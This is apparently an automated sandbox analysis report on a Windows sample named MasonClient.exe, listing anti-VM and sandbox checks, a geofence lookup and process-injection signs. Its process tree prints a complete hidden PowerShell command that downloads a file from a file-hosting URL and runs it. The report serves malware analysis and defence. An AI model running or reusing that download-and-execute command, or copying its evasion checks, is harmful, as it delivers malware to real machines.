Analysis
- max time kernel
148s - max time network
151s - platform
windows10-2004_x64 - resource
win10v2004-20260513-en - resource tags
- submitted
30/06/2026, 03:59
General
- Target MasonClient.exe
- Size 310KB
- Sample260630-ej8xesd19y
- SHA256 068d60132aa87ea77fa6b1b9c1b12bc25d1a6dc4bd8c0516f516e928e560564d
Malware Config
Signatures
- Looks for VirtualBox Guest Additions in registry 2 TTPs 1 IoCs
- Badlisted process makes network request 2 IoCs
Network request originating from process or tool commonly abused by malware.
- Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs
Run Powershell and hide display window.
- Looks for VMWare Tools registry key 2 TTPs 1 IoCs
- Checks BIOS information in registry 2 TTPs 2 IoCs
BIOS information is often read in order to detect sandboxing environments.
- Checks computer location settings 2 TTPs 1 IoCs
Looks up country code configured in the registry, likely geofence.
- Contacts third-party web service commonly abused for C2 1 TTPs 2 IoCs
Legitimate web (hosting) services can be abused by malware authors to host malware or C2s.
- Maps connected drives based on registry 3 TTPs 2 IoCs
Disk information is often read in order to detect sandboxing environments.
- Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
- Suspicious behavior: EnumeratesProcesses 51 IoCs
- Suspicious use of AdjustPrivilegeToken 2 IoCs
- Suspicious use of WriteProcessMemory 1 IoCs
Processes
-
C:\Users\Admin\AppData\Local\Temp\MasonClient.exe"C:\Users\Admin\AppData\Local\Temp\MasonClient.exe"1⤵
- Looks for VirtualBox Guest Additions in registry
- Looks for VMWare Tools registry key
- Checks BIOS information in registry
- Checks computer location settings
- Maps connected drives based on registry
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoP -EP Bypass -W Hidden -C "iwr 'https://files.catbox.moe/8ruqew.rar' -OutFile $env:TEMP\MasonKit.com; Start-Process -WindowStyle Hidden $env:TEMP\MasonKit.com"2⤵
- Badlisted process makes network request
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
Network
MITRE ATT&CK Enterprise v16
Replay Monitor
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Downloads
__PSScriptPolicyTest_bzwelqwt.rnr.ps1
memory/3372-4-0x00000180044E0000-0x00000180044F0000-memory.dmp
memory/3372-3-0x00000180044E0000-0x00000180044F0000-memory.dmp
memory/3372-12-0x000001801CBD0000-0x000001801CBF2000-memory.dmp
memory/3372-14-0x00000180044E0000-0x00000180044F0000-memory.dmp
memory/3372-15-0x00000180044E0000-0x00000180044F0000-memory.dmp
memory/3372-16-0x00000180044E0000-0x00000180044F0000-memory.dmp
memory/4356-0-0x0000000000A30000-0x0000000000A84000-memory.dmp
memory/4356-1-0x0000000002BF0000-0x0000000002C00000-memory.dmp
memory/4356-2-0x0000000002BE0000-0x0000000002BE8000-memory.dmp
memory/4356-13-0x0000000002BF0000-0x0000000002C00000-memory.dmp